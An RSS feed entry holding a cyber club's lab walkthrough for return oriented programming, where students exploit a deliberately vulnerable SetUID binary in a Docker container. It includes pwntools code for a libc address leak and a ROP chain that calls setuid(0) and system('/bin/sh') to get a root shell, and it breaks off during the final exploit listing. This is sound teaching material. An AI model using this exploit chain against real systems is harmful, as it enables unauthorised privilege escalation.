<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Binary Exploitation on</title><link>https://weber-cyber-club.github.io/categories/binary-exploitation/</link><description>Recent content in Binary Exploitation on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sun, 11 Jan 2026 19:33:51 -0700</lastBuildDate><atom:link href="https://weber-cyber-club.github.io/categories/binary-exploitation/index.xml" rel="self" type="application/rss+xml"/><item><title>Return Oriented Programming</title><link>https://weber-cyber-club.github.io/labs/rop/</link><pubDate>Sun, 11 Jan 2026 19:33:51 -0700</pubDate><guid>https://weber-cyber-club.github.io/labs/rop/</guid><description>&lt;h1 id="binary-exploitation-rop-lab"&gt;Binary Exploitation: ROP Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The goal of this lab is to give students an introduction into binary exploitation. While this is not the most basic form of exploitation, it is a form that can give some good insight into how a computer works, how a processor runs through code, and how different code security features work.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is binary exploitation?&lt;/strong&gt; Binary exploitation is the practice of taking advantage of a flaw in a compiled piece of software in order to gain access or further your access within a system. Common exploits within this category include things like buffer overflow, use after free, or return oriented programming. Each technique requires different conditions, so not all these attacks are possible in every situation; however, we will cover some ways of finding the bread crumbs that will lead us to know which attack to use.&lt;/p&gt;</description><content>&lt;h1 id="binary-exploitation-rop-lab"&gt;Binary Exploitation: ROP Lab&lt;/h1&gt;
&lt;h2 id="purpose"&gt;Purpose&lt;/h2&gt;
&lt;p&gt;The goal of this lab is to give students an introduction into binary exploitation. While this is not the most basic form of exploitation, it is a form that can give some good insight into how a computer works, how a processor runs through code, and how different code security features work.&lt;/p&gt;
&lt;h2 id="background"&gt;Background&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What is binary exploitation?&lt;/strong&gt; Binary exploitation is the practice of taking advantage of a flaw in a compiled piece of software in order to gain access or further your access within a system. Common exploits within this category include things like buffer overflow, use after free, or return oriented programming. Each technique requires different conditions, so not all these attacks are possible in every situation; however, we will cover some ways of finding the bread crumbs that will lead us to know which attack to use.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What attack will we use in this lab?&lt;/strong&gt; In this lab, we will leverage return oriented programming (ROP). We will get into specifics on why we are doing this later, but due to the specifics of our binary, this will be our approach for the lab.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is ROP?&lt;/strong&gt; ROP, or return oriented programming, is an exploitation technique used against binaries that looks to take control of the program&amp;rsquo;s control flow and execute machine code on its behalf. This is a technique that can be used in the presence of something like &lt;a href="https://en.wikipedia.org/wiki/Executable-space_protection"&gt;executable-space protection&lt;/a&gt;, which is something that would stop us from using a buffer overflow to execute shell code. We gather assembly instructions from the binary, which are called gadgets. We hope to gather enough gadgets to eventually run commands from either the code itself or shared libraries which are linked with the binary–the end goal being running commands on the system we are attacking.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does this lab entail?&lt;/strong&gt; This lab will be a local privilege escalation lab targeting an Ubuntu 24.04 instance that is running in a Docker container. Using ROP, we will exploit a binary that has been configured with SetUID and SetGID permissions in Linux. These permissions make the binary run as root in this case, as that is the own of the file, giving us a golden opportunity for privilege escalation. The code is also vulnerable to a buffer overflow. These few attributes cause the perfect storm for us to be able to exploit this system, hopefully gaining root access to the system. After we get root access to the system, we can find the flag that is contained within the system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lab Setup:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Victim
&lt;ul&gt;
&lt;li&gt;OS: Ubuntu 24.04 Docker Container&lt;/li&gt;
&lt;li&gt;Vulnerable Application: ROP&lt;/li&gt;
&lt;li&gt;Target: Flag.txt&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lab-guide"&gt;Lab Guide&lt;/h2&gt;
&lt;h3 id="scope"&gt;Scope&lt;/h3&gt;
&lt;h3 id="getting-started"&gt;Getting Started&lt;/h3&gt;
&lt;p&gt;Before we begin our lab, let&amp;rsquo;s ensure we have everything that we need to be successful. If you haven&amp;rsquo;t already visited &lt;a href="https://weber-cyber-club.github.io/extradocs/docker/docker-setup/"&gt;Docker Setup&lt;/a&gt;, to get Docker installed and set up for labs. If you are confident in your Docker skills, don&amp;rsquo;t even worry, just keep going through the lab.&lt;/p&gt;
&lt;p&gt;Now with Docker installed, let&amp;rsquo;s begin checking and installing the dependencies that we will need for this demonstration. For this lab we are going to need Python 3, PWNTools, Ghidra, and checksec.&lt;/p&gt;
&lt;p&gt;To check if Python 3 exists just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As long as a version appears, you have Python 3 on your system already! If, for some reason, you did not have Python 3 installed, just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Ensures your repository indexes are current
sudo apt update
# Installs Python 3
sudo apt install python3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check if PWNTools is installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip show pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If PWNTools isn&amp;rsquo;t installed, you will run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt update
sudo apt install python3-pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check if checksec is installed run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;checksec --version
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If it is not installed just run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install checksec
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check is Ghidra is installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If it is not installed run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo apt install ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our environment fully configured, let&amp;rsquo;s check what files we have available to us for this lab. To do this we need to pull down this lab from git:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;git clone https://github.com/weber-cyber-club/Club-Challenges.git
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we just need to get into our Club-Challenges directory, and get to this lab:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Change into the lab directory
cd Club-Challenges/Labs/ROP/
# List the contents of the directory
ls
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now see a ROP file, an Assets folder, a Dockerfile, and this README file. We can ignore the Assets folder. This is a folder I leave in these labs, just in case you wanted to see what goes into making a lab like this. I know it gives the answer to the lab, however, so does the walkthrough. If you want to get the most out of these labs, look at the assets folder last, and learn how the lab was created.&lt;/p&gt;
&lt;p&gt;One of the first steps that we should take at this point is to complete the setup of this lab. We are going to build our Docker image and machine really quickly before we go any further. To build and run this Docker container, we need to run the following commands.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Builds the Docker container image using the Dockerfile in the current directory and gives it the tag of ROP-Lab
docker build -t rop-lab .
# Runs the Docker container image, not allowing the container to stop when it completes the current command it is working on, and detaches it from our console
docker run -itd --name rop-lab-container rop-lab
# Make sure the container is up and running
docker ps -a
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="reconnisance"&gt;Reconnisance&lt;/h3&gt;
&lt;p&gt;Now let&amp;rsquo;s access the docker container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Run a command on the docker container, make it interactive with a terminal
docker exec -it rop-lab-container
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see that we are in the Intern account. We can try to run a couple commands here, such as sudo -l to list our permissions on the system, but we can see sudo is not a command we can run. We can try to use the su command to switch user to the root account:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;su -
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;However, we are prompted for a password, which we do not know at this time. You can continue to look around, but we should probably check to see if there is anything on this system we can exploit to escalate our privileges. Let&amp;rsquo;s use the ls command in the /usr/bin directory to see which applications are installed on this system:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls /usr/bin
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can see an output that shows an interesting file. We can see ROP that has a red outline around it with white letters, in a terminal like we are using. This usually means the &lt;code&gt;SetUID&lt;/code&gt; bit is set. To check for sure let&amp;rsquo;s run the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -l /usr/bin/ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To show a more detailed listing of the permissions on this file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;-rwsr-sr-x 1 root root 16120
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is a very interesting output. We can see that instead of the permissions showing ‘rwx’ like usual, they show ‘rws’. The ‘s’ is a special permission that lets a user run a command as the owner of the file. This is called the &lt;code&gt;SetUID&lt;/code&gt; bit. It does have some real uses, such as the passwd command. Passwd needs to have the ability to write to the /etc/shadow file. The only issue with this is root is the only user who is even allowed to look at this file. You may think this isn&amp;rsquo;t a huge deal–&amp;ldquo;I could just run &lt;code&gt;passwd&lt;/code&gt; as sudo or as root to get around this.&amp;rdquo; Well, this doesn&amp;rsquo;t really work. We want users to be able to change their own passwords, but we don&amp;rsquo;t want to give everyone sudo access, even limited sudo access. So instead we pretty much give the program sudo access. This is normally not a big deal, however, if we have a vulnerability in this program, this is a huge deal. We have been given this ROP executable on our local machine to play around with. So, let&amp;rsquo;s exit the docker container and do some analysis on our local machine.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# To leave the docker container
exit
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="weaponization"&gt;Weaponization&lt;/h3&gt;
&lt;p&gt;Once we are back on our local machine, let&amp;rsquo;s take a look at the executable file that we have been given. One good start for looking at files like this is to run the file command against it.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;file ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will tell us which architecture the executable is compiled for, whether it is dynamically or statically linked, and other potentially useful information. The output of this command will show us the file is an ELF 64-bit binary, the standard format for a 64-bit Linux system, and dynamically linked, which will be important later on.&lt;/p&gt;
&lt;p&gt;While this command can be helpful, there is a different command that will help us much more: the checksec command. Let&amp;rsquo;s run checksec against this file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;checksec --file=ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="Assets/checksec.png" alt="checksec output"&gt;&lt;/p&gt;
&lt;p&gt;We will not cover all of this output right now; however, if you are enjoying this topic of Binary Exploitation, I would highly encourage you to do further research into what all of these security controls do. The most important parts of this output will be Stack Canary (No Canary Found)–this is a random number added to the stack making stack based attacks more difficult–and NX bit (NX Enabled), which makes parts of the virtual memory non-executable preventing us from injecting code into areas of memory that we are not supposed to inject data. Now that we know what security controls we are contending with, let&amp;rsquo;s take a look at our program we have been given. First, let&amp;rsquo;s just start by running the program.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;./ROP
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/ropoutput.png" alt="ROP output"&gt;&lt;/p&gt;
&lt;p&gt;Nothing crazy is happening so far, just a normal output. Let&amp;rsquo;s take a look at this code in a disassembler to see if there are any flaws that we could take advantage of. A good disassembler that should be in your install is called Ghidra. You can go up to your search bar or applications section, look for Ghidra and run it, or you can run it from your terminal with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ghidra
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now to create a project we will go to File &amp;gt; New Project, then click “Non-Shared Project” and click next. Keep the project directory the same, and name the project ROP-Challenge, then click finish.&lt;/p&gt;
&lt;p&gt;Then, we will go to File &amp;gt; Import File, then navigate to your &lt;code&gt;~/Club-Challenges/Labs/ROP&lt;/code&gt; file or where you stored it, import the file, and click next on the pop up that appears. Now, once we are back in the projects window, just double click on ROP.&lt;/p&gt;
&lt;p&gt;Click &lt;code&gt;yes&lt;/code&gt; on analyze and keep the default values, then click analyze. You should end up at a screen that looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/ghidra.png" alt="Ghidra"&gt;&lt;/p&gt;
&lt;p&gt;Now, on the left middle of the screen there is a section called &lt;code&gt;Symbol Tree&lt;/code&gt;. We want to go to &lt;code&gt;Symbol Tree&lt;/code&gt; and click the arrow next to functions, then scroll down and click on main.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/main.png" alt="main"&gt;&lt;/p&gt;
&lt;p&gt;Now, in the right window we can see the decompilation of main. Don&amp;rsquo;t pay much mind to the &lt;code&gt;setvbuf&lt;/code&gt; statements–what we are interested in is the &lt;code&gt;vuln()&lt;/code&gt; function that is called, let&amp;rsquo;s do the same process as before to look at a function, but this time click on the &lt;code&gt;vuln()&lt;/code&gt; function:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/vuln.png" alt="vuln"&gt;&lt;/p&gt;
&lt;p&gt;There is something a bit more interesting in this output–we see the gets function. A fun fact about the gets function: Even the main page will tell you &amp;ldquo;do not use this function,&amp;rdquo; as it is that vulnerable. It does not do any bounds checking on the buffer that you attempt to write data to, causing a buffer overflow if you try to pass in an amount of data that is too large. In our case, it looks like the buffer we are writing to is 48 bytes in size. Equipped with this new knowledge, let&amp;rsquo;s go back to our terminal and attempt a buffer overflow on this program.&lt;/p&gt;
&lt;p&gt;Just close out of the Ghidra window. You can save the file if you&amp;rsquo;d like, but we don&amp;rsquo;t need any of that information anymore.&lt;/p&gt;
&lt;p&gt;In our terminal, let&amp;rsquo;s attempt a buffer overflow. While we could just lay on our keyboard to put out a bunch of data, that is not a very clean strategy. Instead we are going to use Python so that we can specify how many characters we want to load into our program. Let&amp;rsquo;s write our first partial exploit using Python. We are going to start poking around this program, trying to make it crash. Let&amp;rsquo;s start by sending 60 A&amp;rsquo;s to the program.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 -c &amp;#34;print(&amp;#39;A&amp;#39;*60)&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We should see an output similar to this:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/segfault.png" alt="segfault"&gt;&lt;/p&gt;
&lt;p&gt;Believe it or not, this segfault is wonderful news–we have just successfully overflowed a buffer. Now, we get into how we are actually going to leverage this issue to exploit the program. We are going to run the &lt;code&gt;dmesg&lt;/code&gt; command, a command that gives a look into what is going on within the system at this time, and we are going to see something interesting:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo dmesg
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/overflow.png" alt="overflow"&gt;&lt;/p&gt;
&lt;p&gt;We can see we have our segfault, we overflowed 4 bytes (because the char representation of A is 41 and a char is a single byte), and our instruction pointer is set to 41414141 with some zeros before that. This means that we have overflowed our buffer by enough space to actually overwrite the instruction pointer on the stack. The instruction point (IP) is a pointer that tells the program where to go next. If we can write data to this IP, then we can tell the program what to do. In a normal buffer overflow, we would just put some shell code into memory and tell the program to go there. Well, in this case, remember our memory is not writeable right now. Sometimes there is a function within the code we&amp;rsquo;d like to go to,; however, in our example, there is nothing of use for us. We are going to want to take advantage of some libraries that the code has linked to it, specifically &lt;code&gt;Libc&lt;/code&gt;. The reason for this is most programs will have the &lt;code&gt;std&lt;/code&gt; library or &lt;code&gt;Libc&lt;/code&gt; linked to it, and &lt;code&gt;Libc&lt;/code&gt; contains functions, such as &lt;code&gt;system()&lt;/code&gt;, that will allow us to run system commands. But, we don&amp;rsquo;t have write access to the memory, so how can we get there? This is where the previously explained return oriented programming comes into play. We will now begin writing your return oriented program.&lt;/p&gt;
&lt;p&gt;Before we begin automating our exploit, let&amp;rsquo;s first get our buffer overflow fine tuned. We said we went 4 bytes into the IP, and we don&amp;rsquo;t want to be touching the IP, so we need to go down to 56 A&amp;rsquo;s. We should see this output after changing to just use 56 A&amp;rsquo;s:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/justa1.png" alt="just a one"&gt;&lt;/p&gt;
&lt;p&gt;Now with the instruction point clean, we are ready to start building out an exploit. We are going to use &lt;code&gt;PWNtools&lt;/code&gt; to do this. Let&amp;rsquo;s create a file in our current directory called &lt;code&gt;exploit.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;touch exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now let&amp;rsquo;s edit this file with:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nano exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or whatever you like to edit files with.&lt;/p&gt;
&lt;p&gt;As always we will start by adding the:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#! /usr/bin/env python
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;line to specify our command interpreter. We are going to need to import pwn which import &lt;code&gt;PWNTools&lt;/code&gt;, as well as set some general information:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set our interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our general information set up, and we have gotten the ROP gadgets out of our ROP file, let&amp;rsquo;s move on to creating our first ROP chain.&lt;/p&gt;
&lt;p&gt;What do we want to do with this initial chain? We are trying to figure out which version of &lt;code&gt;Libc&lt;/code&gt; the system will be running. In order to do this, we are going to need to leak some memory addresses. We know from our code that we have access to the &lt;code&gt;puts()&lt;/code&gt; function, which is a print command. With this command, we could print out memory addresses from the Global Offset Table (GOT). This is a section of the ELF that stores the memory address for the external function that we are going to call within our program. The interesting part of this information is that there are databases that can tell, based on where the functions live within memory, which version of &lt;code&gt;Libc&lt;/code&gt; you are using (this is virtual memory addresses, which is why they are similar between systems that are using the same versions of &lt;code&gt;Libc&lt;/code&gt;). In order to do this, we are going to need to exploit the program&amp;rsquo;s buffer overflow, build up a ROP chain that will print out memory addresses within the GOT, then assign them to variables to print them out in hex form instead of in raw bytes.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts, and gets, then putting together ROP gadgets to drop us in the vuln function again, this will allow us to continue exploiting the program even after we run this first part of the exploit
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer
offset = 56
# This will consume the line that says &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data, the first will be the printed output of the puts GOT entry, we are receiving the raw bytes here, then we do the same thing for the GOT entry
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If we run our code that we have thus far, we will get the address of the puts and gets functions from our own machine, but we want the ones from the docker container, so copy your code or copy mine from below, and we will run it within the docker container:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts, and gets, then putting together ROP gadgets to drop us in the vuln function again, this will allow us to continue exploiting the program even after we run this first part of the exploit
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;gets&amp;#39;]])
rop.call(elf.symbols[&amp;#34;vuln&amp;#34;])
# This is the offset that we found earlier for how many A&amp;#39;s we are allowed to put in the buffer
offset = 56
# This will consume the line that says, &amp;#34;Hello, I would like to return something.&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will consume the line that says, &amp;#34;What would you like to return today?&amp;#34;
p.recvuntil(&amp;#34;\n&amp;#34;)
# This will put the payload into an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# This will join the payload together, allowing for direct bytes to be sent into the program
payload = b&amp;#34;&amp;#34;.join(payload)
# This will send out payload
p.sendline(payload)
# We are now going to receive two lines of data, the first will be the printed output of the puts GOT entry, we are receiving the raw bytes here, then we do the same thing for the GOT entry
puts = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
gets = u64(p.recvuntil(&amp;#34;\n&amp;#34;).rstrip().ljust(8, b&amp;#39;\x00&amp;#39;))
# Then we print the output of the leak onto the terminal to use in the next phase of the attack.
log.info(f&amp;#34;puts found at {hex(puts)} &amp;#34;)
log.info(f&amp;#34;gets found at {hex(gets)} &amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Remember our command to get into the docker container is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;docker exec -it rop-lab-container /bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you run an ls -a command from the directory you are dropped into you will see a .venv directory, this is where we are going to run our python commands. It is not required to have this directory, it will just make this next command more uniform for students if you all have this directory.&lt;/p&gt;
&lt;p&gt;We are going to need to import some python libraries, but with some python security measure we are going to need to do it within a python virtual environment, to create this python venv we will run the following command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
python3 -m venv .venv/
source .venv/bin/activate
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now were are in our virtual environment we will run the:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;pip install pwntools
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;command to install &lt;code&gt;PWNtools&lt;/code&gt; within this system. The reason this is possible is because this will only install in this virtual environment, not on the whole system, so you should be trusted to install things for yourself. Now let&amp;rsquo;s run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nano exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;within the docker container, and paste the code that we previously copied. We will need to make one modification. ROP is not in our directory anymore, it is in &lt;code&gt;/usr/bin/ROP&lt;/code&gt;, so we will need to change that portion of the code to reflect our current system.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/docker.png" alt="docker"&gt;&lt;/p&gt;
&lt;p&gt;As always we need to run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod +x exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To be able to be allowed to execute the file, then we just need to run:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python3 exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To run the exploit.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/leak.png" alt="leak"&gt;&lt;/p&gt;
&lt;p&gt;We now have the memory leak that we need to get through the second part of our exploitation of this system. We now need to use this leak to find which version of &lt;code&gt;Libc&lt;/code&gt; we will need to attack. Let&amp;rsquo;s go to &lt;a href="https://libc.blukat.me/"&gt;this site&lt;/a&gt;, input our memory address, and see what it tells us.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://weber-cyber-club.github.io/assets/rop/blukat.png" alt="blukat"&gt;&lt;/p&gt;
&lt;p&gt;We can now see that the version of &lt;code&gt;Libc&lt;/code&gt; could be one of a few variations of &lt;code&gt;libc6_2.39&lt;/code&gt;, in my experience, the different versions of Ubuntu variants don&amp;rsquo;t matter, but I just get the most recent one. Click on the one for &lt;code&gt;Ubuntu 8.6 amd64&lt;/code&gt;, and right click the download link to copy the link. Here is the link if you can&amp;rsquo;t copy it, &lt;code&gt;http://libc.blukat.me/d/libc6_3.39-0ubuntu8.6_amd64.so&lt;/code&gt;. Now, we will run &lt;code&gt;wget&lt;/code&gt; from within the docker container to pull down this &lt;code&gt;Libc&lt;/code&gt; shared object file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wget http://libc.blukat.me/d/libc6_3.39-0ubuntu8.6_amd64.so
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that we have our &lt;code&gt;Libc&lt;/code&gt;, we are prepared to gain ROP gadgets from within the &lt;code&gt;Libc&lt;/code&gt; library to chain together to get to the &lt;code&gt;system()&lt;/code&gt; function, as system is probably the most powerful command we could ask for at this point. We are also going to do another trick while we&amp;rsquo;re at it. Although the program is going to be run as root because of the SetUID bit being set, when we exit the executable our privileges will drop, it is called an ephemeral UID. It is not super important to get into at this time; however, we will need to elevate our privileges within the program to full root, not just ephemeral, which we can do with some more ROP gadgets. Once we get all of these ROP gadgets, we can send an exploit to the executable, hopefully elevating our privileges to root. The following code will detail this last jump.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Load the Libc shared object as our ELF file we want to work on
libc = ELF(&amp;#34;libc6_3.39-0ubuntu8.6_amd64.so&amp;#34;)
# Find the base address of libc in memory by subtracting what the GOT has puts at and where puts is being show in the shared object file.
libc.address = puts - libc.symbols[&amp;#34;puts&amp;#34;]
# Print out this base address
log.info(f&amp;#34;libc base address {hex(libc.address)} &amp;#34;)
# Get the ROP gadgets out of the Libc ELF
rop = ROP(libc)
# Send this return. This is re-aligning the stack, a more advanced concept that is important as you progress through binary exploitation. I encourage you to look further into the importance of stack alignment, but I will not be covering this concept at this time.
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# The SetUID command set to 0 root&amp;#39;s userID
rop.setuid(0)
# Aligning the stack again
rop.raw(rop.find_gadget([&amp;#39;ret&amp;#39;])[0])
# Setting the gid to 0 which is root&amp;#39;s groupID
rop.setgid(0)
# We will attempt to call the system function with the argument of /bin/sh. It would look like this: system(&amp;#34;/bin/sh&amp;#34;);
rop.call(libc.symbols[&amp;#34;system&amp;#34;], [next(libc.search(b&amp;#34;/bin/sh\x00&amp;#34;))])
# Exit out of the program dropping us into the shell
rop.call(libc.symbols[&amp;#34;exit&amp;#34;])
# Build a payload as an array
payload = [
b&amp;#34;A&amp;#34;*offset,
rop.chain()
]
# Turn the array into a string of bytes that can be sent to the program
payload = b&amp;#34;&amp;#34;.join(payload)
# Send the payload to the program
p.sendline(payload)
# Make our session interactive
p.interactive()
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Making our final exploit be the following:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env python
# Import PWNTools
from pwn import *
# Set the architecture to be 64bit
context.arch = &amp;#39;amd64&amp;#39;
# Set out interactive terminal shell to be a bash shell
context.terminal = &amp;#39;bash&amp;#39;
# Set out executable that we are working on to be the ROP file
elf = ELF(&amp;#34;./ROP&amp;#34;)
# Start running the ELF file as a process
p = elf.process()
# Get ROP gadgets from the ROP file
rop = ROP(elf)
# Building the ROP chain to call puts on the GOT entry for puts and gets, then putting together ROP gadgets to drop us in the vuln function again. This will allow us to continue exploiting the program, even after we run this first part of the exploit.
rop.call(elf.symbols[&amp;#34;puts&amp;#34;],[elf.got[&amp;#39;puts&amp;#39;]])
